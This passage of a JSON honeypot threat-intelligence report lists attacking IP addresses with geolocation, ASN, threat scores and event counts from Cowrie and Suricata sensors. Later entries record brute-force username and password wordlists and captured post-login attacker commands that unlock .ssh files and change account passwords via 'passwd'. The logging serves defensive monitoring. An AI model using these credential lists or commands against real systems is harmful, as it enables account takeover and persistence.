      "score_components": {
        "frequency": 9.0,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T08:47:26.473000+00:00",
        "last_seen_30d": "2026-03-30T06:39:34.896000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "85.217.140.49": {
      "attack_count": 4,
      "first_seen": "2026-03-06T03:31:00.469Z",
      "last_seen": "2026-03-06T03:31:01.123Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 87.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 742,
        "days_active_30d": 28,
        "ports_targeted_30d": 410,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T14:04:04+00:00",
        "last_seen_30d": "2026-03-31T13:25:40.174000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 440,
        "Honeytrap": 298,
        "Cowrie": 4
      }
    },
    "75.119.143.158": {
      "attack_count": 3,
      "first_seen": "2026-03-24T04:11:09.925Z",
      "last_seen": "2026-03-24T04:12:11.374Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T04:11:09.925000+00:00",
        "last_seen_30d": "2026-03-24T04:13:21.239000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "85.225.60.11": {
      "attack_count": 3,
      "first_seen": "2026-03-05T05:07:06.536Z",
      "last_seen": "2026-03-05T05:08:42.436Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Uppsala",
      "asn": 8434,
      "as_org": "Telenor Sverige AB",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T05:07:06.536000+00:00",
        "last_seen_30d": "2026-03-05T05:09:47.715000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "1.20.172.70": {
      "attack_count": 2,
      "first_seen": "2026-03-25T12:57:57.984Z",
      "last_seen": "2026-03-25T12:58:10.249Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Pattaya",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T12:57:57.984000+00:00",
        "last_seen_30d": "2026-03-25T12:59:11.461000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.158.233.23": {
      "attack_count": 2,
      "first_seen": "2026-03-03T08:12:53.052Z",
      "last_seen": "2026-03-03T08:13:06.890Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Marrakesh",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:12:53.052000+00:00",
        "last_seen_30d": "2026-03-03T08:14:09.443000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.157.143.185": {
      "attack_count": 2,
      "first_seen": "2026-03-04T04:56:49.825Z",
      "last_seen": "2026-03-04T04:57:03.338Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T04:56:49.825000+00:00",
        "last_seen_30d": "2026-03-04T04:58:08.664000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "151.66.150.241": {
      "attack_count": 2,
      "first_seen": "2026-03-28T17:31:40.893Z",
      "last_seen": "2026-03-28T17:31:53.872Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T17:31:40.893000+00:00",
        "last_seen_30d": "2026-03-28T17:32:54.858000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.0.0.10": {
      "attack_count": 2,
      "first_seen": "2026-03-21T14:24:45.374Z",
      "last_seen": "2026-03-21T14:25:16.049Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 54.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.3,
        "persistence": 24.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 29,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T00:39:09.911000+00:00",
        "last_seen_30d": "2026-03-31T10:16:22.070000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Cowrie": 2
      }
    },
    "157.65.78.105": {
      "attack_count": 2,
      "first_seen": "2026-03-02T06:52:57.429Z",
      "last_seen": "2026-03-02T06:53:10.819Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Hirakata",
      "asn": 2514,
      "as_org": "NTT PC Communications, Inc.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:52:57.429000+00:00",
        "last_seen_30d": "2026-03-02T06:54:15.572000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "162.216.149.174": {
      "attack_count": 2,
      "first_seen": "2026-03-05T20:07:48.172Z",
      "last_seen": "2026-03-05T20:07:57.978Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Charleston",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 76.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 27,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T20:07:48.172000+00:00",
        "last_seen_30d": "2026-03-31T20:25:39.940000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 23,
        "Cowrie": 2
      }
    },
    "165.227.229.175": {
      "attack_count": 2,
      "first_seen": "2026-03-10T05:35:52.049Z",
      "last_seen": "2026-03-10T05:35:52.335Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:35:52.049000+00:00",
        "last_seen_30d": "2026-03-10T05:36:52.919000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "179.125.205.55": {
      "attack_count": 2,
      "first_seen": "2026-03-20T20:50:14.279Z",
      "last_seen": "2026-03-20T20:50:27.450Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 28649,
      "as_org": "Desktop Sigmanet Comunicacao Multimidia SA",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T20:50:14.279000+00:00",
        "last_seen_30d": "2026-03-20T20:51:29.627000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "195.184.76.229": {
      "attack_count": 2,
      "first_seen": "2026-03-04T12:33:33.011Z",
      "last_seen": "2026-03-04T12:33:33.016Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 76.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 28,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T02:11:59+00:00",
        "last_seen_30d": "2026-03-31T12:56:19.093000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 25,
        "Cowrie": 2
      }
    },
    "197.49.77.65": {
      "attack_count": 2,
      "first_seen": "2026-03-02T14:37:35.219Z",
      "last_seen": "2026-03-02T14:38:06.625Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T14:37:35.219000+00:00",
        "last_seen_30d": "2026-03-02T14:39:15.149000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "209.38.89.247": {
      "attack_count": 2,
      "first_seen": "2026-03-02T06:48:02.755Z",
      "last_seen": "2026-03-02T06:48:04.728Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 40,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T06:48:02+00:00",
        "last_seen_30d": "2026-03-02T06:49:59.722000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 91,
        "Honeytrap": 49,
        "Dionaea": 9,
        "ConPot": 4,
        "Cowrie": 2,
        "ElasticPot": 1
      }
    },
    "220.201.130.225": {
      "attack_count": 2,
      "first_seen": "2026-03-31T00:33:40.112Z",
      "last_seen": "2026-03-31T00:33:53.257Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T00:33:40.112000+00:00",
        "last_seen_30d": "2026-03-31T00:35:03.190000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.188.137.173": {
      "attack_count": 2,
      "first_seen": "2026-03-27T11:20:51.096Z",
      "last_seen": "2026-03-27T11:21:22.253Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T11:20:51.096000+00:00",
        "last_seen_30d": "2026-03-27T11:22:27.617000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "223.243.26.117": {
      "attack_count": 2,
      "first_seen": "2026-03-20T02:31:59.627Z",
      "last_seen": "2026-03-20T02:32:12.992Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T02:31:59.627000+00:00",
        "last_seen_30d": "2026-03-20T02:33:16.451000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.251.7.55": {
      "attack_count": 2,
      "first_seen": "2026-03-28T14:38:22.412Z",
      "last_seen": "2026-03-28T14:38:37.554Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Marrakesh",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T14:38:22.412000+00:00",
        "last_seen_30d": "2026-03-28T14:42:06.703000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "41.59.191.59": {
      "attack_count": 2,
      "first_seen": "2026-03-29T17:18:45.419Z",
      "last_seen": "2026-03-29T17:18:58.576Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T17:18:45.419000+00:00",
        "last_seen_30d": "2026-03-29T17:20:07.760000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.79.127.194": {
      "attack_count": 2,
      "first_seen": "2026-03-04T14:16:07.677Z",
      "last_seen": "2026-03-04T14:16:38.198Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:16:07.677000+00:00",
        "last_seen_30d": "2026-03-04T14:17:46.076000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.183.133.10": {
      "attack_count": 2,
      "first_seen": "2026-03-21T07:16:18.458Z",
      "last_seen": "2026-03-21T07:16:32.911Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amritsar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T07:16:18.458000+00:00",
        "last_seen_30d": "2026-03-21T07:17:37.094000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.217.149.56": {
      "attack_count": 2,
      "first_seen": "2026-03-24T05:52:11.060Z",
      "last_seen": "2026-03-24T05:52:11.405Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 84.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 392,
        "days_active_30d": 28,
        "ports_targeted_30d": 236,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T14:02:04.450000+00:00",
        "last_seen_30d": "2026-03-31T15:24:54.363000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 225,
        "Honeytrap": 165,
        "Cowrie": 2
      }
    },
    "178.16.54.226": {
      "attack_count": 6490,
      "first_seen": "2026-03-03T08:39:23.078Z",
      "last_seen": "2026-03-31T23:35:24.035Z",
      "sessions": 1282,
      "ports": [],
      "usernames_attempted": [
        "authority",
        "ftp1",
        "ddd",
        "oracle",
        "root",
        "ui",
        "admin",
        "0"
      ],
      "passwords_attempted": [
        "authority",
        "ftp1",
        "ddd",
        "or4cl3",
        "password",
        "ui",
        "admin",
        "0"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 68.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9470,
        "days_active_30d": 29,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:39:23.078000+00:00",
        "last_seen_30d": "2026-03-31T23:36:29.361000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6490,
        "Suricata": 2980
      }
    },
    "91.107.222.92": {
      "attack_count": 1242,
      "first_seen": "2026-03-29T07:08:20.075Z",
      "last_seen": "2026-03-29T08:38:02.478Z",
      "sessions": 248,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 40.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1759,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T07:08:20.075000+00:00",
        "last_seen_30d": "2026-03-29T08:39:08.306000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1242,
        "Suricata": 517
      }
    },
    "57.128.218.144": {
      "attack_count": 961,
      "first_seen": "2026-03-06T06:10:36.919Z",
      "last_seen": "2026-03-20T18:24:43.634Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "soporte",
        "clawd",
        "deamon",
        "dev",
        "labs",
        "music",
        "nutanix",
        "sai",
        "ventas",
        "webadmin",
        "aaa",
        "abdul",
        "activemq",
        "admin",
        "arma3server",
        "azuracast",
        "backend",
        "blog"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "1234",
        "123456",
        "12345678",
        "password",
        "123ABCabc",
        "@qwer2025",
        "Aaa123!",
        "Abdul123!",
        "Activemq123!",
        "Admin@12345678",
        "Arma3server123",
        "Dev123!",
        "Hh123!",
        "Hik12345",
        "Manoj123!",
        "Marek123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n9sBcyMRH3JlK\\n9sBcyMRH3JlK\\n\"|passwd",
        "echo \"12345678\\nZ7Hse6yfmjh2\\nZ7Hse6yfmjh2\\n\"|passwd",
        "echo \"12345\\njVrigEhc1cC2\\njVrigEhc1cC2\\n\"|passwd",
